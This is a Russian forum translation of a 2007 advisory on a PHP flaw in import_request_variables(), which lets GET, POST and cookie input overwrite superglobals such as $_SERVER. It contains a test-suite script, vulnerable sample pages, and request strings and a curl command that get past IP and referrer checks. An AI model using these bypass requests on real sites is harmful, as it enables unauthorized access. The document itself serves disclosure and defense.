Перезапись произвольных переменных через import_request_variables() в PHP
1) Уязвимость: Используя import_request_variables() можно перезаписать $_* и $* (любые переменные PHP).
2) Дата: 09.03.2007
3) Под угрозой: PHP >=4.0.7 <=5.2.1
4) Опасность: Высокая
5) Производитель: http://www.php.net/
6) Инструкции/Источник: http://www.wisec.it/vulns.php?id=10
http://www.wisec.it/vuln_10.txt
7) Автор: Stefano `wisec` di Paola (stefano.dipaola@wisec.it)
Francesco `ascii` Ongaro (ascii@ush.it)
8) Перевод: NeMiNeM
I. Вступление
PHP это скриптовый язык. Поскольку в прошлом PHP включал по умолчанию
GLOBALS программисты писали приложения используя этот метод ввода, теперь, когда конфигурации с
GLOBALS ON отошли (хотя всё ещё используются многими вэб-хостингами), программисты вместо переписывания кода, сами добавляют патчи для реализации superglobals.
Такие коды приносили разработчикам больше проблем чем выгод и они решили добавить функцию для безопасного импорта части всего
_REQUEST. Эта функция называется
import_request_variables() и существует начиная с PHP 4.0.7.
2. Описание.
Цитата из справочника по PHP:
Импортирует переменные GET/POST/Cookie в глобальную область видимости. Это применяется, если вы отключили register_globals, но хотели бы увидеть некоторые переменные в глобальной области.
Значит
import_request_variables() имитирует
register globals on но немножко отличаеться от
extract().
(Мини-разведку
import_request_variables() против
extract() читаем в конце статьи).
Примечание: хотя параметр prefix является необязательным, вы получите ошибку уровня E_NOTICE, если не специфицируете префикс или специфицируете пустую строку в качестве префикса. Это может нарушить безопасность. Ошибки уровня Notice/уведомление не выводятся при использовании уровня сообщения об ошибках по умолчанию.
Они предупреждают нас о префиксе и это правильно: во-первых, без prefix у нас будут такие же проблемы
globals on.
Во-вторых это то, о чём идёт речь в этой инструкции по безопасности: использование фунцкии
import_request_variables даёт возможность перезаписать массивы
$_GET $_POST $_COOKIE $_FILES $_SERVER $_SESSION и все другие, которые мы не назвали.
Мы проводим дальнейшие исследование над
_FILES и похоже возможно перезаписать массив но мы не уверены что таким образом можно обмануть скрипты загрузки файла.
Если дать взломщику определённые точки входа (первый аргумент функции это нечувствительная к регистру строка методов ввода которые импортируют. G значит GET, P - Post и C - Cookie), он сможет перезаписать любой внутренний и защищённый массив.
Как результат, если у вас
REGISTER GLOBALS ON вы НАМНОГО больше в безопасности.
Есть небольшой бонус: как выделено в фрагментах кода в следующем разделе Анализ, символ P будет включать точку входа как
POST так и
FILES, таким образом
import_request_variables('GPC') будет давать глобальную область видимости всего, что указано в
GET POST COOKIE и в
FILES.
3. Анализ
import_request_variables это не новость в уязвимостях: рассмотрим этот журнал изменений за 24 Ноября 2005, PHP 5.1.
- Устранена потенциальная возможность перезаписи посредством import_request_variables и возможные крэши и/или разрушения памяти.
Используя нижеследующий тестовый комплект, запустите скрипт в перезаписываемый каталог внутри корневого каталога, потом через браузер перейдите к файлу test.php и попробуйте.
testsuite.sh
#!/bin/bash
mkdir hack-php_import_request_variables && cd
hack-php_import_request_variables
echo "Testing cli.."
echo "register_globals = Off" > php-ini-globals-off
php -c php-ini-globals-off -r "echo (int)ini_get("register_globals");"
echo "register_globals = On" > php-ini-globals-on
php -c php-ini-globals-on -r "echo (int)ini_get("register_globals");"
echo "Testing mod.."
mkdir globals-on && mkdir globals-off
cat > globals-on/test.php << TOKEN
<pre><?php
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
echo '<h1>GET</h1>'."n"; print_r(\$_GET);
echo '<h1>POST</h1>'."n"; print_r(\$_POST);
echo '<h1>COOKIE</h1>'."n"; print_r(\$_COOKIE);
echo '<h1>SERVER</h1>'."n"; print_r(\$_SERVER);
echo '<h1>SESSION</h1>'."n"; print_r(\$_SESSION);
echo '<h1>FILES</h1>'."n"; print_r(\$_FILES);
?></pre>
TOKEN
cp globals-on/test.php globals-off/test.php
echo "php_value register_globals on" > globals-on/.htaccess
echo "php_value register_globals off" > globals-off/.htaccess
Рекомендуемые тесты:
- test.php?_SERVER=string (перезаписать массив $_SERVER и сделать его строкой)
- test.php?_SERVER[REMOTE_ADDR]=обход проверки IP клиента
- test.php?_SERVER[HTTP_REFERER]=обход проверки реферала.
и т.д.
Уязвимость в этой строке:
./ext/standard/basic_functions.c:PHP_FUNCTION(import_request_vari ables)
./Zend/zend_hash.c:ZEND_API void
zend_hash_apply_with_arguments(HashTable *ht, apply_func_args_t
apply_func, int num_args, ...)
Фрагмент уязвимого кода:
PHP код:
PHP_FUNCTION(import_request_variables) {
[..]
if (prefix_len == 0) {
php_error_docref(NULL TSRMLS_CC, E_NOTICE, "No prefix specified -
possible security hazard");
}
[..]
for (p = types; p && *p; p++) {
switch (*p) {
case 'g': case 'G':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_GET]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break;
case 'p': case 'P':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_POST]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_FILES]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);
break;
case 'c': case 'C':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_COOKIE]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break;
}
}
[..]
}
Как видим есть разные точки входа, но "вывод" это глобальная область видимости.
example.php
PHP код:
<?php
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
?>
curl http://URL/example.php?_SERVER[REMOTE_ADDR]=10.1.1.1
Выдаст вам: Hello admin!
Дополнение (автор:Francesco 'ascii' Ongaro)
import_request_variables() против extract()
Пожалуйста, обратите внимание, что
extract() также заменит любую переменную кроме
$GLOBALS, но главное отличие в том, что http://it2.php.net/extract не рекомендуют нам использовать
extract() против ненадежных данных, например
$_GET, ....
Если вы желаете запустить старый код который временно полагается на register_globals, убедитесь что вы используете одно с неперезаписываемых значений extract_type как например EXTR_SKIP и имейте ввиду что вы должны извлечь в порядке, который определён в variables_order внутри php.ini
Фактически у
extract() есть флажок
EXTR_SKIP и если есть конфликт, существующая переменная не перезаписывается.
Использование
extract() с
EXTR_SKIP даст нам что-то типа
GLOBALS ON но безопаснее в сравнении с тем, что случится если использовать
extract($_GET); или
import_request_variables('G');
test1.php
PHP код:
<?php
extract($_GET);
print_r($_SERVER);
?>
Демо: test1.php?SERVER=abc
Ожидаемый результат: массив
_SERVER станет строкой.
Мораль в том, что небезопасное использование
extract() разработчиком будет его ошибкой, но нет надежного использования
import_request_variables и это на 100% промах PHP.
-------------------
Источники:
http://security.nnov.ru/news/PHP/import_request_variables.html
http://security.nnov.ru/Qdocument280.html
http://security.nnov.ru/Qdocument289.html
(c) NeMiNeM
Специально для antichat.ru
ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить
Спасибо.